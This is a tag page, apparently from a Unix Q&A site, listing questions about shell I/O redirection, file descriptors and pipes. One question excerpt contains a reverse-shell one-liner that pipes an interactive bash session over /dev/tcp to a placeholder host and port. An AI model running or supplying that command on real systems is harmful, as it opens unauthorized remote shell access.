io redirection is the process of changing where the output and input of a program originate

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16
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5answers
476 views

How to tell if output of a command or shell script is stdout or stderr

Let us say I run a command or shell script, and it gives me output. Without knowing the internals of this command or shell script, how does one determine if is the output was from stderr or stdout? ...
4
votes
2answers
210 views

Do redirection operators always open file descriptors in parallel?

1. Consider snippet#1: $ cat test.txt > test.txt cat: test.txt: input file is output file It seems that cat makes its input file descriptor point to test.txt and then when it tries to set its ...
9
votes
3answers
430 views

How to `locate` multiple files and open them in vim?

Suppose that I have a file named filename123.txt and it is the single file that is named so, and I can locate it with the command locate filename123. And it returns only this file. Now I want to open ...
2
votes
1answer
72 views

Set bash script output to the line that called bash script

I've looked for the greater part of two hours trying to see if I could find a way to redirect the output of a bash script to the line that called the bash script. The best example I can use to ...
0
votes
2answers
27 views

Unix how to loop through directories, send output to another directory with base name of input file

I am an infrequent user of UNIX, I'm sure this will be fairly trivial for any regular user so I appologize for that. I have the following code: for file in /home/sub1/samples/aaa*/*_novoalign.bam ...
2
votes
1answer
30 views

Capture console output from existing process(es) to file [duplicate]

We have a requirement to troubleshoot an existing system running Busybox, we have Telnet access. It would be helpful to log the system's console output (ideally the last n lines of it) to a file for ...
3
votes
1answer
539 views

KSH styling text based menu using STDERR

Is it possible to format the STDERR in order to have a better looking menu using the select command? I have a simple select select oChoice in $(<tempMenu.menu) ; do case "$oChoice" in ...
35
votes
11answers
14k views

How do I reuse the last output from the command line?

This is a noob question, but I'd like to know how to reuse the last output from the console, ie: pv-3:method Xavier$ python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()" ...
9
votes
3answers
785 views

What does `1>>` and `2>>` mean in a bash script?

I have the following bash script, from what I understand >> is used to append the output of a command to an existing file instead of overwrite, but what is it doing in this case? This script is ...
0
votes
1answer
51 views

Ambigous redirect done >$2

I have finished my bash script but I am still getting two errors. I've also searched for related issues but none worked: #!/bin/bash avem_element () { local e for e in "${@:2}"; do [[ "$e" == ...
7
votes
2answers
261 views

How do redirection in a symbols work in a sequence?

I have file1, file2, file3. file1 contains 1 file2 contains 2 file3 contains 3 I use command cat file1 > file2 > file3 Results in: file1 1 file2 (contains nothing) file3 1 Why ...
3
votes
3answers
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Sending the output from 'dd' to awk/sed/grep

I'm trying to approximate the computer's write speed using dd: dd if=/dev/urandom of=/dev/null bs=1K count=10000 which gives the following output 10000+0 records in 10000+0 records out 10240000 ...
1
vote
1answer
80 views

Redirection differences between &> >& and 2>&1

On this SO thread and a few other threads I have seen the following commands for redirecting stdout and stderr to a file. Are they all equivalent? Is there any difference between them? command1 ...
1
vote
1answer
446 views

Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background

I want to run bash -i >& /dev/tcp/HOST/PORT 0>&1 in the background at server1. I want to listen to the connection and send commands back at HOST/PORT. So, tcpdump isn't sufficient for ...
0
votes
2answers
33 views

redirect output from interface?

I am echoing an AT command to a modem interface (/dev/ttyUSB3) and the command runs successfully. For instance the below command works and has an output of OK: echo -e "ATZ\r" > /dev/ttyUSB3 I ...
0
votes
1answer
48 views

“Sudo” prefixed command doesn't work; without sudo does.

I suspect this has been answered before, but I don't know what this is called, so I can't really search for it. How come this works : $ grep H=p <(udevadm info /dev/ttyUSB0) E: ...
4
votes
2answers
170 views

Appending works without >> when redirecting standard output and error

I have a file test.txt and have no file named test. When I tried ls test test.txt > new 2>new I was expecting new to be overwritten since >> is not used. But in the output file I got ...
1
vote
1answer
53 views

Correct syntax to avoid bash 'ambiguous redirect' message

I am trying to execute a command which accumulates stdout into an existing file and sends the error messages to another using the command below. commmand >> /home/user/accumulate_output.log ...
1
vote
2answers
83 views

Multiple File Redirection with awk and find

I have some files in a directory. And I want to add some lines at top and end of file using awk. Example: My awk command: awk 'BEGIN { print "line1\nline2" } { print $0 } END { print "line3\nline4" ...
1
vote
1answer
82 views

Redirection. What is “<>”, “<&” and “>&-”?

"<>" This operator I saw few months ago on the one site, but I don't remember what does it mean. Maybe I'm wrong and ksh has no "<>". "a<&b" I know that this operator merge input stream ...
4
votes
1answer
95 views

Change the status of the keyboard leds, from within an X session, without root access

I am trying to force the capslock led on. xset does not work for me, so I am trying to use setleds. In a graphical console, this command returns: > LANG=C setleds -L +caps KDGKBLED: Inappropriate ...
3
votes
1answer
86 views

How do I come by this pty and what can I do with it?

It seems that a simple shell redirect from /dev/ptmx gets me a new pseudo-terminal. $ ls /dev/pts; ls /dev/pts </dev/ptmx 0 1 2 ptmx 0 1 2 3 ptmx It disappears as soon as the process that ...
32
votes
3answers
19k views

How to redirect output of wget as input to unzip?

I have to download a file from this link. The file download is a zip file which I will have to unzip in the current folder. Normally, I would download it first, then run the unzip command. $ wget ...
13
votes
6answers
1k views

Is there another simple way to append line to end of file other than `>>`?

Recently I'm echoing short sentences to a tree_hole file. I was using echo 'something' >> tree_hole to do this job. But I was always worried of what if I mis-input of > instead of >>, ...
3
votes
5answers
262 views

Awk - output the second line of a number of .dat files to one file

I have searched through previously asked questions and can't find an answer to what I am trying to do. note, I am new to linux. I have multiple files something like: (in reality i have 80) file1.dat ...
0
votes
1answer
62 views

Redirecting Standard Output And Standard Error to One File [duplicate]

I have come to understand that we have two methods of redirecting both stdout and stderr to the same file. The first method is: ls -l /bin > ls-output.txt 2>&1 As the author of this book ...
0
votes
0answers
16 views

Using `perf` repeatedly with file input

perf can be used to analyze the performance of a program. Say you want to test the performance of a program prgrm, with input from a file, you can run: perf stat prgrm < inp.dat Now when you ...
1
vote
1answer
48 views

Output Redirection

I am using the tee command to output the compilation errors of a program into a file along with the terminal. gcc hello.c | tee file.txt This is the command I have used. The compilation errors are ...
6
votes
2answers
926 views

What does `date 2&>$0` do?

I am looking at a co-workers shell code and I saw this: date 2&>$0 I know what date does, but what's 2&>$0 doing? He's out for a while, so I can't ask him what this part was about.
8
votes
1answer
3k views

SSH causes while loop to stop

I have finally managed to boil down a problem I have been struggling with for a few weeks. I use SSH with "authorized keys" to run commands remotely. All is fine except when I do it in a while loop. ...
2
votes
2answers
147 views

output both stderr and stdout on console and store them in a file at same time

may I output both stdout and stderr on console screen and store one of them into a log file? I write a test shell script: #!/bin/sh echo OUT! >&1 echo ERR! >&2 I can output both of ...
2
votes
1answer
76 views

Behaviour of 1>&0 in bash

So I am trying to learn more about file descriptors and their redirections. At the moment I am exploring an edge case of doing 1>&0 and I cannot quite understand what is happening there. $ ...
7
votes
4answers
4k views

combine output from two commands in bash

Is it possible to combine output from these two commands? node ~/projects/trunk/index.js python ~/projects/trunk/run.py run Neither command exits so I'm not sure how to do this.
11
votes
3answers
573 views

Order of redirections

I don't quite understand how the computer reads this command. cat file1 file2 1> file.txt 2>&1 If I understand, 2>&1 simply redirect Standard Error to Standard Output. By that ...
40
votes
5answers
24k views

How can I send stdout to multiple commands?

There are some commands which filter or act on input, and then pass it along as output, I think usually to stdout - but some commands will just take the stdin and do whatever they do with it, and ...
0
votes
1answer
32 views

How do I suppress all email notification from cron for particular job?

I am scheduling the following shell script #!/bin/bash (echo open mailserver.nowhere.local 25; sleep 1; echo EHLO; echo quit)\ | telnet | grep "?Invalid command" if [ $? -eq 1 ]; then ...
5
votes
2answers
480 views

Is there any way to read lines from command output?

I have a pre process command to output a file ./preprocess.sh > preprocessed_file and the preprocessed_file will be used like this while read line do ./research.sh $line & done < ...
1
vote
1answer
46 views

Controlling the terminal while in the middle of a pipe [duplicate]

Say I have 3 commands linked through pipes: A | B | C I would like B to output error messages to stderr and some progress to the terminal. If stderr is the same as the terminal, then that is easy: ...
3
votes
1answer
71 views

How to redirect output while using a here document

How to redirect the output of below command in shell into logfile. sqlplus -s "/nolog" <<EOF conn / as sysdba @?/sqlpatch/19282021/postinstall.sql exit; EOF
12
votes
4answers
20k views

How to read from two input files using while loop

I wanted to know if there is any way of reading from two input files in a nested while loop one line at a time. For example, lets say I have two files FileA and FileB. FileA: [jaypal:~/Temp] cat ...
8
votes
2answers
3k views

Why does 'nohup command >& /dev/null' seem to “work” in some shells?

I edited an answer on Ask Ubuntu that was suggesting the following nohup gedit >& /dev/null & When they actually meant nohup gedit &> /dev/null & The latter correctly ...
2
votes
1answer
93 views

How does ssh prompt for a password when all input and output is redirected?

I don’t actually need to run the command below, and I am aware of ssh keys if I did want to log in without typing a password. I would just like to know how ssh seems to circumvent my file redirection. ...
0
votes
5answers
58 views

Is there a way to do a “full file buffering” inside a chain of piped commands?

Very often I do simple operations on a file, for example: cat file1.txt|sed -r 's/^ *//' to remove spaces at the beginning of the line. If I want to overwrite the file, the only way I know is: cat ...
1
vote
0answers
53 views

redirecting output of running background job in bash

in bash I have some jobs running, in background. They are always producing random irrelevant error messages that pollute the terminal. I am not always so prompt to start them with the 2>&1 > ...
27
votes
3answers
12k views

How can I make iconv replace the input file with the converted output?

I have a bash script which enumerates through every *.php file in a directory and applies iconv to it. This gets output in STDOUT. Since adding the -o parameter ( in my experience ) actually writes ...
3
votes
1answer
68 views

Problem with getting interactive input in while read loop

I was doing something like the following minimal example: #! /bin/sh # $1 = file containing list of files to sync # $2 = source dir ; $3 = target dir cat "$1" | while read f do cp -i "$2"/"$f" ...
28
votes
2answers
2k views

How does `cat <> file` work?

cat < file prints the contents of file to stdout. cat > file reads stdin until Ctrl+D is detected and the input text is written to file. cat <> file, at least in my version of Bash, ...
10
votes
6answers
10k views

How to limit log file size using >>

How can I limit the size of a log file written with >> to 200MB? $ run_program >> myprogram.log
4
votes
3answers
8k views

bash: /home/user/.ssh/authorized_keys: No such file or directory

Create a ssh key: $ ssh-keygen -t rsa –P "" Moving the key to authorized key: $ cat $HOME/.ssh/id_rsa.pub >> $HOME/.ssh/authorized_keys bash: /home/user/.ssh/authorized_keys: No such file ...
7
votes
4answers
359 views

output to file, then use file for input

Is there a shorter way of writing this? Basically output a command to a file, then use the file as input for the next command. I also want to keep the file to view afterwards. cmd1 > verylong.txt; ...